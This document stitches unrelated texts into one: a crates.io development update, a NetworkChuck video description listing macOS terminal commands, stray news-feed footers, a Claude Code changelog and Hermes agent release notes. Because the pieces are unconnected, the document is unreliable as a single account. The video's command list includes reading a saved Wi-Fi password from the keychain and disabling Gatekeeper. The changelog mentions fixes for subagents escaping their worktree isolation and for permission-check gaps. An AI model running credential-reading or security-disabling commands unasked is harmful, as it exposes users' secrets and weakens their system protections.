Source Code Viewer

Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.

Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.

The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub

At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.

The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions

In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris

The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed

In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.

We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.

We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous

These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:

• Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.

• Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.

• New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.

• Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!

• CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.

• Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.

• Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.

• Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.

Feedback

We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!

I know your password. Change it with Dashlane: https://www.dashlane.com/networkchuck50 (Use code networkchuck50 to get 50% off)

In this video, NetworkChuck shows you the top 50 MacOS terminal commands you NEED to know. Now, while Mac OS is unix-based and very similar to Linux, it has its nuances and things worth paying attention to. Things like, making your Macbook talk, finding wifi passwords, diving into the matrix and taking a trip to the aquarium, all from your terminal.




🔥🔥Join Hackwell Academy: https://ntck.co/NCAcademy



**Sponsored by Dashlane







SUPPORT NETWORKCHUCK
---------------------------------------------------
➡️NetworkChuck membership: https://ntck.co/Premium
☕☕ COFFEE and MERCH: https://ntck.co/coffee

Check out my new channel: https://ntck.co/ncclips

🆘🆘NEED HELP?? Join the Discord Server: https://discord.gg/networkchuck

STUDY WITH ME on Twitch: https://bit.ly/nc_twitch

READY TO LEARN??
---------------------------------------------------
-Learn Python: https://bit.ly/3rzZjzz
-Get your CCNA: https://bit.ly/nc-ccna

FOLLOW ME EVERYWHERE
---------------------------------------------------
Instagram: https://www.instagram.com/networkchuck/
Twitter: https://twitter.com/networkchuck
Facebook: https://www.facebook.com/NetworkChuck/
Join the Discord server: http://bit.ly/nc-discord

0:00 ⏩ Intro
0:12 ⏩ say
0:23 ⏩ security find-generic-password -wa Wifi
0:40 ⏩ pbcopy
0:54 ⏩ command + option + shift + v
1:08 ⏩ caffeinate
1:20 ⏩ command + shift + 3
1:53 ⏩ defaults write com.apple.screencapture name
2:10 ⏩ defaults write com.apple.screencapture type
2:19 ⏩ default write com.apple.screencapture location ~/Desktop/screenshots
2:40 ⏩ passwd
4:11 ⏩ cd
4:17 ⏩ ls
4:20 ⏩ pwd
4:26 ⏩ whoami
4:32 ⏩ mv
4:36 ⏩ cp
4:41 ⏩ ditto
4:48 ⏩ df -h
4:51 ⏩ nano
5:00 ⏩ man
5:09 ⏩ open
5:18 ⏩ ping
5:25 ⏩ ifconfig
5:36 ⏩ grep
5:43 ⏩ awk
5:53 ⏩ traceroute
6:04 ⏩ dig
6:12 ⏩ ps
6:21 ⏩ top
6:31 ⏩ kill
6:47 ⏩ which $SHELL
6:56 ⏩ bash
7:00 ⏩ zsh
7:05 ⏩ uptime
7:10 ⏩ killall mDNSResponder….and more
7:15 ⏩ qlmanage
7:22 ⏩ diff
7:27 ⏩ curl
7:42 ⏩ leave
7:54 ⏩ history
7:59 ⏩ disable gatekeeper
8:20 ⏩ brew
8:46 ⏩ cmatrix
9:02 ⏩ asciiquarium
9:13 ⏩ toilet
9:31 ⏩ tetris
9:48 ⏩ python3
10:18 ⏩ shutdown
10:33 ⏩ sudo touch id


AFFILIATES & REFERRALS
---------------------------------------------------
(GEAR I USE...STUFF I RECOMMEND)
My network gear: https://geni.us/L6wyIUj
Amazon Affiliate Store: https://www.amazon.com/shop/networkchuck
Buy a Raspberry Pi: https://geni.us/aBeqAL
Do you want to know how I draw on the screen?? Go to https://ntck.co/EpicPen and use code NetworkChuck to get 20% off!!



#MacOS #Terminal #brew

Dieser Beitrag Von N-Day zu N-Hour: KI lässt Patches schneller in Exploits kippen erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

The post Small teams are the heaviest users of AI coding agents appeared first on Help Net Security.

Read more →

The post N-day is Becoming N-Hour. Patching Faster Won’t Save You. appeared first on IT Security News.

• Added sandbox.filesystem.disabled setting to skip filesystem isolation while keeping network egress control
• Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes
• Fixed auto mode denying commands with "HTTP 401" classifier errors after the OAuth token expired or rotated mid-session
• Fixed AskUserQuestion telling Claude to continue even when your answer asked it to wait or explain first — free-text answers now get neutral wording
• Fixed Claude Code on the web re-asking the same question and dropping your answer after the session sat idle for a few minutes
• Fixed @-mentions silently attaching nothing after file-modifying hooks, vim dot-repeat of c-operators and paste, statusline running twice on resume, and resume-picker hangs on failure
• Fixed resumed background agent sessions reverting to the default agent: the agent's prompt and tool restrictions are now restored
• Fixed worktree-isolated subagents redirecting git into the shared checkout via git -C, --git-dir, or GIT_DIR/GIT_WORK_TREE
• Fixed worktree sessions landing in another project's leftover worktree when the working directory did not match the selected project
• Fixed background sessions whose worktree has no git repository being undeletable
• Fixed claude daemon stop --any potentially terminating an unrelated process via a stale legacy daemon lockfile
• Fixed Esc-Esc at an idle prompt not opening the rewind picker in long-running sessions with background tasks
• Fixed Bash command permission checking for compound statements with redirects inside && lists or negations
• Fixed pressing Ctrl+X twice in the agent list failing to delete a session, and deleted sessions reappearing when their background worker had died
• Fixed background subagents getting cancelled when a high-priority message arrives during their startup window
• Fixed mouse and focus garbage in the terminal while a GUI editor from /memory, /plan, /keybindings, or Ctrl+G is open; /memory no longer waits for the editor to close
• Fixed Claude-in-Chrome 403-looping on reconnect when the session's OAuth token lacks a required scope
• Fixed workflow saves and scheduled-task writes following a symlink at .claude, which could redirect writes outside the project
• Fixed MCP re-authenticate revoking working credentials before the new sign-in succeeds, and the reconnect needs-auth message in background sessions pointing at an unusable command
• Fixed read-only commands on Windows accessing network paths without a permission prompt
• Fixed Bash command parsing of non-ASCII characters to match real shell word boundaries
• Fixed PowerShell tool permission validation of commands containing invisible Unicode characters
• Fixed dialogs in fullscreen mode stretching past the right-hand edge of their panel
• Fixed the /config settings list in fullscreen mode clipping its keyboard-hint footer
• Fixed the transcript-mode (Ctrl+O) footer hint wrapping on terminals narrower than 104 columns
• Fixed the Prometheus metrics endpoint (OTEL_METRICS_EXPORTER=prometheus) emitting invalid # UNIT lines
• Fixed skills and commands changed during a session not appearing in the slash menu until restart
• Fixed plugin skills with a name frontmatter field losing their plugin prefix in slash-command autocomplete
• Fixed telemetry misreporting permission denials: failed permission-prompt requests no longer count as user rejections, and user interrupts are now reported as user aborts instead of rejections
• Improved the /fork confirmation to one line with the new session's name, claude attach id, and a note when the copy shares your checkout
• Improved validation of git and gh command arguments in the PowerShell tool
• Improved the /ultrareview diff-too-large error to show configured limits, measured diff size, and largest contributing files
• Improved /code-review ultra empty-diff message to name the exact base ref and suggest passing an explicit base
• Improved the spend limit adjustment prompt to show the server's reason when a spend limit change is rejected
• /context now shows an explicit warning when the conversation exceeds the context window, and a failed /compact displays as an error
• /rewind no longer restores or deletes files through symlinks or hard links at tracked paths and reports how many paths it skipped
• Background sessions: /mcp and /install-github-app now park a "needs input" request in the agent view when no client is attached
• Updated the bundled dataviz skill: reordered the default chart palette and fixed guidance that suggested direct labels for four-series charts
• [VSCode] Fixed right-to-left text (Arabic, Hebrew, Persian) rendering in the wrong order when mixed with English or code
• Fixed cloud sessions dropping the in-flight message when the session's container restarts mid-turn — the interrupted turn now re-runs on resume instead of leaving the session unresponsive

Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✨ Highlights

• Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

• The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

• Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

• Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny <reason> (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

• Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

• Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

• A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

• One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

• New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

• Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

• Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

• Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine

First-turn latency (all platforms)

• ~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
• Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
• Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

• 14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
• Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
• Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
• Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

• TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
• Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
• Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
• hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
• Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

🏗️ Core Agent & Architecture

Providers & models

• Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
• DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
• GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
• grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
• Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
• GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
• Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
• Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
• Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
• kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
• Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

• max + ultra effort levels across every surface and route (#62650 — @teknium1)
• Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
• MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

• Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
• Smart approvals default; user-defined deny rules (block even under yolo); /deny <reason> relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
• Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
• Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
• Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
• Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

• Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
• hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
• Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

• Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
• Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
• Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

• Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
• Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
• Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
• Session auto-reset default off; /sessions search <query>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
• Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

📱 Messaging Platforms

• Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
• WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
• Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
• Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
• Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
• Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

🖥️ Hermes Desktop App

• Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
• Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
• Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
• Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
• Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
• Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
• Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

• Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (#60569, #63699, #60571, #65361, #64636 — @teknium1, @kshitijk4poor, @shannonsands)
• Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; browser.headed schema toggle; profile + gateway topology on /api/status; mobile/hosted OpenAI OAuth login (#60515, #65895, #61929, #67046, #60537, #61330 — @teknium1, @OutThisLife, @benbarclay)
• hermes serve is a true headless backend (no web UI build/mount) (#55923 — @OutThisLife)

🧰 CLI & TUI

• /subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
• /model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
• Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
• --safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
• TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
• Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

• MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
• Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
• Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
• Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
• Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
• mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
• Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

• Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
• Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
